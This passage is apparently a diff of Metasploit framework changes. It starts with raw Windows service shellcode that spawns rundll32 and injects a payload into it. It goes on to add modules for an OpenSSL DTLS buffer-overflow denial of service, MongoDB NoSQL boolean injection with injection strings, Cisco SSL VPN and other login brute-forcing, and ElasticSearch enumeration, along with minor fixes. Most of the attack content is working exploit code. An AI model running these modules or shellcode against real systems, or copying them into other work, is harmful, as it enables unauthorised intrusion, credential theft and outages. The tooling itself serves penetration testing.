"\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" +
pushed_service_name+"\x89\xE1\x8D\x47\x03\x6A\x00" +
"\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" +
"\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" +
"\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5"
precode_size = 0x42
shellcode_code_offset = code_service_stopped.length + precode_size
# code_service could be encoded in the future
code_service =
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
"\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
"\x26\x07\xFF\xD5"+pushed_service_name+"\x89\xE1" +
"\x8D\x85"+[svcmain_code_offset].pack('<I')+"\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
"\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
"\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +
[hash_code_offset].pack('<I')+pushed_service_name+"\x89\xE1\x8D" +
"\x85"+[svcctrlhandler_code_offset].pack('<I')+"\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
"\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" +
"\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" +
"\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +
"\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
"\x40\x68\x00\x10\x00\x00\x68"+[code.length].pack('<I')+"\x57\x51\x68\xAE\x87" +
"\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" +
[shellcode_code_offset].pack('<I')+"\x54\x68"+[code.length].pack('<I') +
"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
"\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +
"\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +
"\x51\x68\xC6\x96\x87\x52\xFF\xD5" +
code_service_stopped
return to_winpe_only(framework, code_service + code, opts)
end
end
def self.to_win64pe_service(framework, code, opts={})

View File

@ -18,6 +18,7 @@ class Webcam
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::WebRTC
def initialize(client)
@client = client
@ -195,66 +196,6 @@ class Webcam
end
end
#
# Connects to a video chat session as an answerer
#
# @param offerer_id [String] The offerer's ID in order to join the video chat
# @return void
#
def connect_video_chat(server, channel, offerer_id)
interface = load_interface('answerer.html')
api = load_api_code
tmp_api = Tempfile.new('api.js')
tmp_api.binmode
tmp_api.write(api)
tmp_api.close
interface = interface.gsub(/\=SERVER\=/, server)
interface = interface.gsub(/\=WEBRTCAPIJS\=/, tmp_api.path)
interface = interface.gsub(/\=RHOST\=/, rhost)
interface = interface.gsub(/\=CHANNEL\=/, channel)
interface = interface.gsub(/\=OFFERERID\=/, offerer_id)
tmp_interface = Tempfile.new('answerer.html')
tmp_interface.binmode
tmp_interface.write(interface)
tmp_interface.close
found_local_browser = Rex::Compat.open_webrtc_browser(tmp_interface.path)
unless found_local_browser
raise RuntimeError, "Unable to find a suitable browser to connect to the target"
end
end
#
# Returns the webcam interface
#
# @param html_name [String] The filename of the HTML interface (offerer.html or answerer.html)
# @return [String] The HTML interface code
#
def load_interface(html_name)
interface_path = ::File.join(Msf::Config.data_directory, 'webcam', html_name)
interface_code = ''
::File.open(interface_path) { |f| interface_code = f.read }
interface_code
end
#
# Returns the webcam API
#
# @return [String] The WebRTC lib code
#
def load_api_code
js_api_path = ::File.join(Msf::Config.data_directory, 'webcam', 'api.js')
api = ''
::File.open(js_api_path) { |f| api = f.read }
api
end
end
end; end; end; end; end; end

View File

@ -0,0 +1,91 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Chromecast YouTube Remote Control',
'Description' => %q{
This module acts as a simple remote control for Chromecast YouTube.
},
'Author' => ['wvu'],
'References' => [
['URL', 'https://en.wikipedia.org/wiki/Chromecast']
],
'License' => MSF_LICENSE,
'Actions' => [
['Play', 'Description' => 'Play video'],
['Stop', 'Description' => 'Stop video']
],
'DefaultAction' => 'Play'
))
register_options([
Opt::RPORT(8008),
OptString.new('VID', [true, 'Video ID', 'kxopViU98Xo'])
], self.class)
end
def run
vid = datastore['VID']
case action.name
when 'Play'
res = play(vid)
when 'Stop'
res = stop
end
return unless res
case res.code
when 201
print_good("Playing https://www.youtube.com/watch?v=#{vid}")
when 200
print_status("Stopping video")
when 404
print_error("Couldn't #{action.name.downcase} video")
end
end
def play(vid)
begin
send_request_cgi(
'method' => 'POST',
'uri' => '/apps/YouTube',
'agent' => Rex::Text.rand_text_english(rand(42) + 1),
'vars_post' => {
'v' => vid
}
)
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable => e
fail_with(Failure::Unreachable, e)
ensure
disconnect
end
end
def stop
begin
send_request_raw(
'method' => 'DELETE',
'uri' => '/apps/YouTube',
'agent' => Rex::Text.rand_text_english(rand(42) + 1)
)
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable => e
fail_with(Failure::Unreachable, e)
ensure
disconnect
end
end
end

View File

@ -358,7 +358,7 @@ class Metasploit3 < Msf::Auxiliary
#CREATE TABLE TO STORE SQL SERVER DATA LOOT
sql_data_tbl = Rex::Ui::Text::Table.new(
'Header' => 'SQL Server Data',
'Ident' => 1,
'Indent' => 1,
'Columns' => ['Server', 'Database', 'Schema', 'Table', 'Column', 'Data Type', 'Sample Data', 'Row Count']
)

View File

@ -153,7 +153,7 @@ class Metasploit3 < Msf::Auxiliary
users_table = Rex::Ui::Text::Table.new(
'Header' => 'Advantech WebAccess Users',
'Ident' => 1,
'Indent' => 1,
'Columns' => ['Username', 'Encrypted Password', 'Key', 'Recovered password', 'Origin']
)

View File

@ -0,0 +1,82 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Dos
include Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenSSL DTLS Fragment Buffer Overflow DoS',
'Description' => %q{
This module performs a Denial of Service Attack against Datagram TLS in
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h.
This occurs when a DTLS ClientHello message has multiple fragments and the
fragment lengths of later fragments are larger than that of the first, a
buffer overflow occurs, causing a DoS.
},
'Author' =>
[
'Juri Aedla <asd[at]ut.ee>', # Vulnerability discovery
'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-0195'],
['ZDI', '14-173'],
['BID', '67900'],
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/ZDI-14-173-CVE-2014-0195-OpenSSL-DTLS-Fragment-Out-of-Bounds/ba-p/6501002'],
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Once-Bled-Twice-Shy-OpenSSL-CVE-2014-0195/ba-p/6501048']
],
'DisclosureDate' => 'Jun 05 2014'))
register_options([
Opt::RPORT(4433),
OptInt.new('VERSION', [true, "SSl/TLS version", 0xFEFF])
], self.class)
end
def build_tls_fragment(type, length, seq, frag_offset, frag_length, frag_body=nil)
# format is: type (1 byte), total length (3 bytes), sequence # (2 bytes),
# fragment offset (3 bytes), fragment length (3 bytes), fragment body
sol = (seq << 48) | (frag_offset << 24) | frag_length
[
(type << 24) | length,
(sol >> 32),
(sol & 0x00000000FFFFFFFF)
].pack("NNN") + frag_body
end
def build_tls_message(type, version, epoch, sequence, message)
# format is: type (1 byte), version (2 bytes), epoch # (2 bytes),
# sequence # (6 bytes) + message length (2 bytes), message body
es = (epoch << 48) | sequence
[
type,
version,
(es >> 32),
(es & 0x00000000FFFFFFFF),
message.length
].pack("CnNNn") + message
end
def run
# add a small fragment
fragments = build_tls_fragment(1, 2, 0, 0, 1, 'C')
# add a large fragment where the length is significantly larger than that of the first
# TODO: you'll need to tweak the 2nd, 5th and 6th arguments to trigger the condition in some situations
fragments << build_tls_fragment(1, 1234, 0, 0, 123, Rex::Text.rand_text_alpha(1234))
message = build_tls_message(22, datastore['VERSION'], 0, 0, fragments)
connect_udp
print_status("#{rhost}:#{rport} - Sending fragmented DTLS client hello packet")
udp_sock.put(message)
disconnect_udp
end
end

View File

@ -0,0 +1,152 @@
##
## This module requires Metasploit: http//metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => "MongoDB NoSQL Collection Enumeration Via Injection",
'Description' => %q{
This module can exploit NoSQL injections on MongoDB versions less than 2.4
and enumerate the collections available in the data via boolean injections.
},
'License' => MSF_LICENSE,
'Author' =>
['Brandon Perry <bperry.volatile[at]gmail.com>'],
'References' =>
[
['URL', 'http://nosql.mypopescu.com/post/14453905385/attacking-nosql-and-node-js-server-side-javascript']
],
'Platform' => ['linux', 'win'],
'Privileged' => false,
'DisclosureDate' => "Jun 7 2014"))
register_options(
[
OptString.new('TARGETURI', [ true, 'Full vulnerable URI with [NoSQLi] where the injection point is', '/index.php?age=50[NoSQLi]'])
], self.class)
end
def syntaxes
[["\"'||this||'", "'||[inject]||'"],
["\"';return+true;var+foo='", "';return+[inject];var+foo='"],
['\'"||this||"','"||[inject]||"'],
['\'";return+true;var+foo="', '";return+[inject];var+foo="'],
["||this","||[inject]"]]
end
def run
uri = datastore['TARGETURI']
res = send_request_cgi({
'uri' => uri.sub('[NoSQLi]', '')
})
if !res
fail_with("Server did not respond in an expected way.")
end
pay = ""
fals = res.body
tru = nil
syntaxes.each do |payload|
print_status("Testing " + payload[0])
res = send_request_cgi({
'uri' => uri.sub('[NoSQLi]', payload[0])
})
if res and res.body != fals and res.code == 200
print_status("Looks like " + payload[0] + " works")
tru = res.body
res = send_request_cgi({
'uri' => uri.sub('[NoSQLi]', payload[0].sub('true', 'false').sub('this', '!this'))
})
if res and res.body != tru and res.code == 200
vprint_status("I think I confirmed with a negative test.")
fals = res.body
pay = payload[1]
break
end
end
end
if pay == ''
fail_with("Couldn't detect a payload, maybe it isn't injectable.")
end
length = 0
vprint_status("Getting length of the number of collections.")
(0..100).each do |len|
str = "db.getCollectionNames().length==#{len}"
res = send_request_cgi({
'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))
})
if res and res.body == tru
length = len
print_status("#{len} collections are available")
break
end
end
vprint_status("Getting collection names")
names = []
(0...length).each do |i|
vprint_status("Getting length of name for collection " + i.to_s)
name_len = 0
(0..100).each do |k|
str = "db.getCollectionNames()[#{i}].length==#{k}"
res = send_request_cgi({
'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))
})
if res and res.body == tru
name_len = k
print_status("Length of collection #{i}'s name is #{k}")
break
end
end
vprint_status("Getting collection #{i}'s name")
name = ''
(0...name_len).each do |k|
[*('a'..'z'),*('0'..'9'),*('A'..'Z'),'.'].each do |c|
str = "db.getCollectionNames()[#{i}][#{k}]=='#{c}'"
res = send_request_cgi({
'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))
})
if res and res.body == tru
name << c
break
end
end
end
print_status("Collections #{i}'s name is " + name)
names << name
end
p = store_loot("mongo_injection.#{datastore['RHOST']}_collections",
"text/plain",
nil,
names.to_json,
"mongo_injection_#{datastore['RHOST']}.txt",
"#{datastore["RHOST"]} MongoDB Javascript Injection Collection Enumeration")
print_good("Your collections are located at: " + p)
end
end

View File

@ -164,7 +164,7 @@ class Metasploit3 < Msf::Auxiliary
users_table = Rex::Ui::Text::Table.new(
'Header' => 'vBulletin Users',
'Ident' => 1,
'Indent' => 1,
'Columns' => ['Username', 'Password Hash', 'Salt']
)

View File

@ -90,7 +90,7 @@ class Metasploit3 < Msf::Auxiliary
key_md5 = ::Rex::Text.md5(key)
hash_path = "/#{key_md5[0,1]}/#{key_md5[1,1]}/#{key_md5[2,1]}/#{key_md5}"
url = normalize_uri(wordpress_url, datastore["WP_CONTENT_DIR"], "/w3tc/dbcache")
uri << hash_path
url << hash_path
result = nil
begin

View File

@ -4,6 +4,7 @@
##
require 'msf/core'
require 'msf/core/module/deprecated'
class Metasploit3 < Msf::Auxiliary
@ -11,11 +12,16 @@ class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Module::Deprecated
DEPRECATION_DATE = Date.new(2014, 07, 29)
DEPRECATION_REPLACEMENT = 'auxiliary/scanner/elasticsearch/indices_enum'
def initialize(info = {})
super(update_info(info,
'Name' => 'ElasticSearch Indeces Enumeration Utility',
'Name' => 'ElasticSearch Indices Enumeration Utility',
'Description' => %q{
This module enumerates ElasticSearch Indeces. It uses the REST API
This module enumerates ElasticSearch Indices. It uses the REST API
in order to make it.
},
'Author' =>
@ -36,7 +42,7 @@ class Metasploit3 < Msf::Auxiliary
end
def run_host(ip)
vprint_status("#{peer} - Querying indeces...")
vprint_status("#{peer} - Querying indices...")
begin
res = send_request_raw({
'uri' => '/_aliases',
@ -66,10 +72,10 @@ class Metasploit3 < Msf::Auxiliary
:name => 'elasticsearch'
)
indeces = []
indices = []
json_body.each do |index|
indeces.push(index[0])
indices.push(index[0])
report_note(
:host => rhost,
:port => rport,
@ -80,8 +86,8 @@ class Metasploit3 < Msf::Auxiliary
)
end
if indeces.length > 0
print_good("#{peer} - ElasticSearch Indeces found: #{indeces.join(", ")}")
if indices.length > 0
print_good("#{peer} - ElasticSearch Indices found: #{indices.join(", ")}")
end
end

View File

@ -0,0 +1,89 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'ElasticSearch Indices Enumeration Utility',
'Description' => %q{
This module enumerates ElasticSearch Indices. It uses the REST API
in order to make it.
},
'Author' =>
[
'Silas Cutler <Silas.Cutler[at]BlackListThisDomain.com>'
],
'License' => MSF_LICENSE
))
register_options(
[
Opt::RPORT(9200)
], self.class)
end
def peer
"#{rhost}:#{rport}"
end
def run_host(ip)
vprint_status("#{peer} - Querying indices...")
begin
res = send_request_raw({
'uri' => '/_aliases',
'method' => 'GET',
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable
vprint_error("#{peer} - Unable to establish connection")
return
end
if res && res.code == 200 && res.body.length > 0
begin
json_body = JSON.parse(res.body)
rescue JSON::ParserError
vprint_error("#{peer} - Unable to parse JSON")
return
end
else
vprint_error("#{peer} - Timeout or unexpected response...")
return
end
report_service(
:host => rhost,
:port => rport,
:proto => 'tcp',
:name => 'elasticsearch'
)
indices = []
json_body.each do |index|
indices.push(index[0])
report_note(
:host => rhost,
:port => rport,
:proto => 'tcp',
:type => "elasticsearch.index",
:data => index[0],
:update => :unique_data
)
end
if indices.length > 0
print_good("#{peer} - ElasticSearch Indices found: #{indices.join(", ")}")
end
end
end

View File

@ -0,0 +1,227 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/proto/http'
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'Cisco SSL VPN Bruteforce Login Utility',
'Description' => %{
This module scans for Cisco SSL VPN web login portals and
performs login brute force to identify valid credentials.
},
'Author' =>
[
'Jonathan Claudius <jclaudius[at]trustwave.com>'
],
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'SSL' => true,
'USERNAME' => 'cisco',
'PASSWORD' => 'cisco'
}
))
register_options(
[
Opt::RPORT(443),
OptString.new('GROUP', [false, "A specific VPN group to use", ''])
], self.class)
end
def run_host(ip)
unless check_conn?
vprint_error("#{peer} - Connection failed, Aborting...")
return false
end
unless is_app_ssl_vpn?
vprint_error("#{peer} - Application does not appear to be Cisco SSL VPN. Module will not continue.")
return false
end
vprint_good("#{peer} - Application appears to be Cisco SSL VPN. Module will continue.")
groups = Set.new
if datastore['GROUP'].empty?
vprint_status("#{peer} - Attempt to Enumerate VPN Groups...")
groups = enumerate_vpn_groups
if groups.empty?
vprint_warning("#{peer} - Unable to enumerate groups")
vprint_warning("#{peer} - Using the default group: DefaultWEBVPNGroup")
groups << "DefaultWEBVPNGroup"
else
vprint_good("#{peer} - Enumerated VPN Groups: #{groups.to_a.join(", ")}")
end
else
groups << datastore['GROUP']
end
groups << ""
vprint_status("#{peer} - Starting login brute force...")
groups.each do |group|
each_user_pass do |user, pass|
do_login(user, pass, group)
end
end
end
# Verify whether the connection is working or not
def check_conn?
begin
res = send_request_cgi('uri' => '/', 'method' => 'GET')
vprint_good("#{peer} - Server is responsive...")
rescue ::Rex::ConnectionRefused,
::Rex::HostUnreachable,
::Rex::ConnectionTimeout,
::Rex::ConnectionError,
::Errno::EPIPE
return
end
end
def enumerate_vpn_groups
res = send_request_cgi(
'uri' => '/+CSCOE+/logon.html',
'method' => 'GET',
)
if res &&
res.code == 302
res = send_request_cgi(
'uri' => '/+CSCOE+/logon.html',
'method' => 'GET',
'vars_get' => { 'fcadbadd' => "1" }
)
end
groups = Set.new
group_name_regex = /<select id="group_list" name="group_list" style="z-index:1(?:; float:left;)?" onchange="updateLogonForm\(this\.value,{(.*)}/
if res &&
match = res.body.match(group_name_regex)
group_string = match[1]
groups = group_string.scan(/'([\w\-0-9]+)'/).flatten.to_set
end
return groups
end
# Verify whether we're working with SSL VPN or not
def is_app_ssl_vpn?
res = send_request_cgi(
'uri' => '/+CSCOE+/logon.html',
'method' => 'GET',
)
if res &&
res.code == 302
res = send_request_cgi(
'uri' => '/+CSCOE+/logon.html',
'method' => 'GET',
'vars_get' => { 'fcadbadd' => "1" }
)
end
if res &&
res.code == 200 &&
res.body.match(/webvpnlogin/)
return true
else
return false
end
end
def do_logout(cookie)
res = send_request_cgi(
'uri' => '/+webvpn+/webvpn_logout.html',
'method' => 'GET',
'cookie' => cookie
)
end
# Brute-force the login page
def do_login(user, pass, group)
vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect} and group:#{group.inspect}")
begin
cookie = "webvpn=; " +
"webvpnc=; " +
"webvpn_portal=; " +
"webvpnSharePoint=; " +
"webvpnlogin=1; " +
"webvpnLang=en;"
post_params = {
'tgroup' => '',
'next' => '',
'tgcookieset' => '',
'username' => user,
'password' => pass,
'Login' => 'Logon'
}
post_params['group_list'] = group unless group.empty?
resp = send_request_cgi(
'uri' => '/+webvpn+/index.html',
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => cookie,
'vars_post' => post_params
)
if resp &&
resp.code == 200 &&
resp.body.match(/SSL VPN Service/) &&
resp.body.match(/webvpn_logout/i)
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}:#{group.inspect}")
do_logout(resp.get_cookies)
report_hash = {
:host => rhost,
:port => rport,
:sname => 'Cisco SSL VPN',
:user => user,
:pass => pass,
:group => group,
:active => true,
:type => 'password'
}
report_auth_info(report_hash)
return :next_user
else
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}:#{group.inspect}")
end
rescue ::Rex::ConnectionRefused,
::Rex::HostUnreachable,
::Rex::ConnectionTimeout,
::Rex::ConnectionError,
::Errno::EPIPE
vprint_error("#{peer} - HTTP Connection Failed, Aborting")
return :abort
end
end
end

View File

@ -10,6 +10,7 @@ class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
@ -39,7 +40,7 @@ class Metasploit3 < Msf::Auxiliary
def get_sid_token
res = send_request_raw({
'method' => 'GET',
'uri' => normalize_uri(@uri.path)
'uri' => normalize_uri(@uri)
})
return [nil, nil] if res.nil? || res.get_cookies.empty?
@ -62,7 +63,7 @@ class Metasploit3 < Msf::Auxiliary
#
sid, token = get_sid_token
if sid.nil? or token.nil?
print_error("#{peer} - Unable to obtain session ID or token, cannot continue")
vprint_error("#{peer} - Unable to obtain session ID or token, cannot continue")
return :abort
else
vprint_status("#{peer} - Using sessiond ID: #{sid}")
@ -72,7 +73,7 @@ class Metasploit3 < Msf::Auxiliary
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri("#{@uri.path}index.php"),
'uri' => normalize_uri("#{@uri}index.php"),
'cookie' => sid,
'vars_post' => {
'token' => token,
@ -91,7 +92,7 @@ class Metasploit3 < Msf::Auxiliary
end
if res.nil?
print_error("#{peer} - Connection timed out")
vprint_error("#{peer} - Connection timed out")
return :abort
end
@ -116,8 +117,12 @@ class Metasploit3 < Msf::Auxiliary
def run
@uri = target_uri.path
@uri.path << "/" if @uri.path[-1, 1] != "/"
@uri << "/" if @uri[-1, 1] != "/"
super
end
def run_host(ip)
each_user_pass { |user, pass|
vprint_status("#{peer} - Trying \"#{user}:#{pass}\"")
do_login(user, pass)

View File

@ -13,7 +13,7 @@ class Metasploit3 < Msf::Auxiliary
def initialize(info={})
super(update_info(info,
'Name' => 'EtherPAD Duo Login Brute Force Utility',
'Name' => 'EtherPAD Duo Login Bruteforce Utility',
'Description' => %{
This module scans for EtherPAD Duo login portal, and
performs a login bruteforce attack to identify valid credentials.

View File

@ -10,6 +10,7 @@ class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
@ -55,11 +56,11 @@ class Metasploit3 < Msf::Auxiliary
})
if not res
print_error("#{peer} - Connection timed out")
vprint_error("#{peer} - Connection timed out")
return :abort
end
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
print_error("#{peer} - Failed to response")
vprint_error("#{peer} - Failed to response")
return :abort
end
@ -79,7 +80,7 @@ class Metasploit3 < Msf::Auxiliary
end
def run
def run_host(ip)
if anonymous_access?
print_status("#{peer} - No login necessary. Server allows anonymous access.")
return

View File

@ -14,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary
def initialize(info={})
super(update_info(info,
'Name' => 'PocketPAD Login Brute Force Utility',
'Name' => 'PocketPAD Login Bruteforce Force Utility',
'Description' => %{
This module scans for PocketPAD login portal, and
performs a login bruteforce attack to identify valid credentials.

View File

@ -8,6 +8,7 @@ require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
@ -41,13 +42,13 @@ class Metasploit3 < Msf::Auxiliary
], self.class)
end
def run
def run_host(ip)
uri = target_uri.path
uri << '/' if uri[-1, 1] != '/'
t = "/.." * datastore['DEPTH']
print_status("Retrieving #{datastore['FILE']}")
vprint_status("#{peer} - Retrieving #{datastore['FILE']}")
# No permission to access.log or proc/self/environ, so this is all we do :-/
uri = normalize_uri(uri, 'index.php')
@ -57,13 +58,14 @@ class Metasploit3 < Msf::Auxiliary
})
if not res
print_error("Server timed out")
vprint_error("#{peer} - Server timed out")
elsif res and res.body =~ /Error 404 requested page cannot be found/
print_error("Either the file doesn't exist, or you don't have the permission to get it")
vprint_error("#{peer} - Either the file doesn't exist, or you don't have the permission to get it")
else
# We don't save the body by default, because there's also other junk in it.
# But we still have a SAVE option just in case
print_line(res.body)
print_good("#{peer} - #{datastore['FILE']} retrieved")
vprint_line(res.body)
if datastore['SAVE']
p = store_loot(
@ -73,7 +75,7 @@ class Metasploit3 < Msf::Auxiliary
res.body,
::File.basename(datastore['FILE'])
)
print_status("File saved as: #{p}")
print_good("#{peer} - File saved as: #{p}")
end
end
end

View File

@ -10,14 +10,15 @@ class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'V-CMS Login Utility',
'Description' => %q{
This module attempts to authenticate to an English-based V-CMS login interface.
It should only work against version v1.1 or older, because these versions do not
have any default protections against bruteforcing.
This module attempts to authenticate to an English-based V-CMS login interface. It
should only work against version v1.1 or older, because these versions do not have
any default protections against bruteforcing.
},
'Author' => [ 'sinn3r' ],
'License' => MSF_LICENSE
@ -31,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary
File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]),
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") ]),
OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/vcms2/'])
OptString.new('TARGETURI', [true, 'The URI path to V-CMS', '/vcms2/'])
], self.class)
end
@ -39,7 +40,7 @@ class Metasploit3 < Msf::Auxiliary
def get_sid
res = send_request_raw({
'method' => 'GET',
'uri' => @uri.path
'uri' => @uri
})
# Get the PHP session ID
@ -52,6 +53,11 @@ class Metasploit3 < Msf::Auxiliary
def do_login(user, pass)
begin
sid = get_sid
if sid.nil?
vprint_error("#{peer} - Failed to get sid")
return :abort
end
res = send_request_cgi({
'uri' => "#{@uri}process.php",
'method' => 'POST',
@ -62,9 +68,7 @@ class Metasploit3 < Msf::Auxiliary
'sublogin' => '1'
}
})
location = res.headers['Location']
res = send_request_cgi({
'uri' => location,
'method' => 'GET',
@ -87,7 +91,7 @@ class Metasploit3 < Msf::Auxiliary
return :skip_user
when /Invalid password/
vprint_status("#{peer} - Username found: #{user}")
else /\<a href="process\.php\?logout=1"\>/
when /\<a href="process\.php\?logout=1"\>/
print_good("#{peer} - Successful login: \"#{user}:#{pass}\"")
report_auth_info({
:host => rhost,
@ -107,8 +111,12 @@ class Metasploit3 < Msf::Auxiliary
def run
@uri = normalize_uri(target_uri.path)
@uri.path << "/" if @uri.path[-1, 1] != "/"
@uri << "/" if @uri[-1, 1] != "/"
super
end
def run_host(ip)
each_user_pass { |user, pass|
vprint_status("#{peer} - Trying \"#{user}:#{pass}\"")
do_login(user, pass)

View File

@ -16,13 +16,10 @@ class Metasploit4 < Msf::Auxiliary
super(
'Name' => 'SAP Management Console Brute Force',
'Description' => %q{
This module simply attempts to brute force the username |
password for the SAP Management Console SOAP Interface. By
setting the SAP SID value, a list of default SAP users can be
tested without needing to set a USERNAME or USER_FILE value.
The default usernames are stored in
./data/wordlists/sap_common.txt (the value of SAP SID is
automatically inserted into the username to replce <SAPSID>).
This module simply attempts to brute force the username and
password for the SAP Management Console SOAP Interface. If
the SAP_SID value is set it will replace instances of <SAPSID>
in any user/pass from any wordlist.
},
'References' =>
[
@ -36,49 +33,43 @@ class Metasploit4 < Msf::Auxiliary
register_options(
[
Opt::RPORT(50013),
OptString.new('SAP_SID', [false, 'Input SAP SID to attempt brute-forcing standard SAP accounts ', '']),
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
OptString.new('SAP_SID', [false, 'Input SAP SID to attempt brute-forcing standard SAP accounts ', nil]),
OptString.new('TARGETURI', [false, 'Path to the SAP Management Console ', '/']),
OptPath.new('USER_FILE', [ false, "File containing users, one per line",
File.join(Msf::Config.data_directory, "wordlists", "sap_common.txt") ])
], self.class)
register_autofilter_ports([ 50013 ])
end
def run_host(ip)
def run_host(rhost)
uri = normalize_uri(target_uri.path)
res = send_request_cgi({
